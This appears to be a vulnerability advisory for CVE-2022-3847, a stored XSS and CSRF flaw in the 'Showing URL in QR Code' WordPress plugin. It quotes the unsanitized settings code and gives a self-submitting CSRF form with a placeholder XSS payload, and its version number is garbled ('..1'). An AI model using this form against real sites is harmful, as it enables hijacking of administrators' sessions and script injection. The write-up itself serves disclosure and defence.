CVE-2022-3847: Stored XSS and CSRF Vulnerabilities in Showing URL in QR Code WordPress Plugin

The Showing URL in QR Code WordPress plugin, version ..1, has been identified with a stored Cross-Site Scripting (XSS) vulnerability as well as a Cross-Site Request Forgery (CSRF) vulnerability. This potential security issue allows attackers to exploit logged-in administrators or editors to insert malicious stored XSS payloads via a CSRF attack. This post aims to provide a deep dive into the vulnerabilities, possible exploit scenarios, and links to original references to reiterate the importance of securing your WordPress website.

Vulnerabilities Description

The Showing URL in QR Code WordPress plugin through ..1 does not implement CSRF checks while updating its settings. Furthermore, it is missing sanitization and escaping, making it vulnerable to stored XSS payloads when manipulated through CSRF attacks.

Stored XSS Vulnerability

The plugin is missing sanitization and escaping, allowing an attacker to insert malicious JavaScript code through the plugin's settings. As the injected code gets stored in the database, it will execute whenever the page with the affected settings is accessed by any user.

CSRF Vulnerability

The plugin does not implement CSRF protection measures when updating its settings. Therefore, an attacker may craft a malicious request to change the plugin's settings, causing a logged-in administrator or editor to unknowingly execute the attacker's desired action.

Code Snippet

Here is a code snippet from the vulnerable plugin that demonstrates the vulnerability (filename: wp-content/plugins/showing-url-in-qr-code/admin/class-showing-url-in-qr-code-admin.php - function: sanitize):

public function sanitize( $input ) {
  $new_input = array();
  
  if( isset( $input['qr_width'] ) )
      $new_input['qr_width'] = absint( $input['qr_width'] );

  // Missing sanitization and escaping for 'qr_before'
  if ( isset( $input['qr_before'] ) )
      $new_input['qr_before'] = $input['qr_before'];

  return $new_input;
}

Exploit Details

An attacker can craft a malicious HTML page containing a CSRF attack vector to exploit the vulnerability. When a logged-in administrator or editor visits the attacker's crafted page, the attacker's XSS payload is unknowingly submitted to the vulnerable plugin, stored in the database, and executed whenever the affected page is accessed.

For example, an attacker can craft a form as follows

<form action="http://example.com/wp-admin/options.php"; method="post">
  <input type="hidden" name="option_page" value="showing_url_in_qr_code">
  <input type="hidden" name="action" value="update">
  <input type="hidden" name="qr_before" value="[Malicious XSS Payload]">
  <input type="submit" value="Submit" style="display:none;">
</form>
<script>
  document.querySelector('form').submit();
</script>

Upon visiting this page, a logged-in administrator or editor will unknowingly submit the form with the attacker's XSS payload and update the plugin's settings.

The following sources provide more information about the vulnerability

- WordPress Plugin Vulnerabilities: WPScan Database entry for this vulnerability.
- OWASP Top 10 2021: XSS, CSRF Vulnerabilities: OWASP description of XSS and CSRF vulnerabilities, along with prevention measures.

Recommendations

It is recommended to update the Showing URL in QR Code plugin to a patched version (if available) or to seek alternative plugins with better security practices. Additionally, website owners and developers should remain vigilant in applying security best practices and updating plugins and themes regularly.

Conclusion

The CVE-2022-3847 vulnerability discovered in the Showing URL in QR Code WordPress plugin requires the development team to address the plugin's lack of CSRF checks and the missing sanitization and escaping mechanisms. In the meantime, WordPress website owners should take necessary precautions to ensure the security of their site and data.

Timeline

Published on: 11/28/2022 14:15:00 UTC
Last modified on: 12/02/2022 19:47:00 UTC